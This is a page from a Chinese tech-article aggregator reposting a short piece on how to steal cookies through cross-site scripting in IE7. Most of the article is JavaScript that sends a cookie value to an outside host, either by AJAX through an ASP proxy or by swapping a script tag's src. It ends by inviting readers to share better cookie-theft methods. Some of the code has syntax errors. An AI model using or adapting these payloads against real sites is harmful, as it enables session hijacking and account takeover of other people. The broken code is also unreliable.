最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501
当前位置: 首页 - 科技 - 知识百科 - 正文

ie7下利用ajax跨域盗取cookie的解决办法

来源:懂视网 责编:小采 时间:2020-11-27 22:52:40
文档

ie7下利用ajax跨域盗取cookie的解决办法

ie7下利用ajax跨域盗取cookie的解决办法:研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script> function getXmlHttpRequest(){ if(window.ActiveXObject){ var ieArr=["Msxml2
推荐度:
导读ie7下利用ajax跨域盗取cookie的解决办法:研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script> function getXmlHttpRequest(){ if(window.ActiveXObject){ var ieArr=["Msxml2

研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script> 
function getXmlHttpRequest(){ 
       if(window.ActiveXObject){ 
            var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                 
            for(var i=0;i<ieArr.length;i++) 
                { 
                var xmlhttp= new ActiveXObject(ieArr[i]); 
                } 
                return xmlhttp; 
       } else if(window.XMLHttpRequest){ 
               return new XMLHttpRequest(); 
            }             

    var xmlHttp=getXmlHttpRequest(); 
    xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); 
    xmlHttp.send(null) 

</script> 

其中web.asp是一个asp代理。 

这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。 

另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码: 

<script LANGUAGE="Javascript" src="" id="get">  
</script>  
<script LANGUAGE="Javascript">  
<!--  
function get(url)  
    {  
        var obj = document.getElementById("get");  
        obj.src = url;  
        (obj.readStatus == 200)  
        {  
            eval(alert("ok"));  
        }  
    }  
get("http://jb51.net/2.asp?cookie=12345678") 

/*function query()  
    {  
get("http://jb51.net/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123" 
    }  
//-->  
*/ 

</script> 

至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论 

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文档

ie7下利用ajax跨域盗取cookie的解决办法

ie7下利用ajax跨域盗取cookie的解决办法:研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script> function getXmlHttpRequest(){ if(window.ActiveXObject){ var ieArr=["Msxml2
推荐度:
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top